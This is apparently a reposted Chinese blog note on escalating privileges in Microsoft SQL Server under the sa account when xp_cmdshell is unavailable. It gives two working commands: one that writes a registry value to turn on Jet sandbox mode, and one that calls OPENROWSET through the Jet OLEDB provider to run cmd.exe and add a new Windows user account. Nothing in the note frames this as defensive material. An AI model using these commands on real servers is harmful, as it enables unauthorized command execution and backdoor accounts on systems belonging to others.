zoukankan      html  css  js  c++  java
  • sa下沙盘模式提权(转)

    sa下删除xp_cmdshell和xplog70.dll时候的一种办法,不算新的了,

    也被一些人不断的再次提出来,
    为了方便自己记忆再写出来,
    在这种情况下,要执行命令,条件是要有xp_regwrite。
     
    首先开启沙盘模式:
     
    exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Jet\4.0\Engines’,'SandBoxMode’,'REG_DWORD’,1
     
    然后利用jet.oledb执行系统命令
     
    select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,'select shell(“cmd.exe /c net user cnfjhh fst /add”)’)
     
  • 相关阅读:
    Swift
    Swift
    Swift
    Swift
    Swift
    Swift
    Swift
    Swift
    Swift
    算法の序列
  • 原文地址:https://www.cnblogs.com/demonspider/p/2533871.html
Copyright © 2011-2022 走看看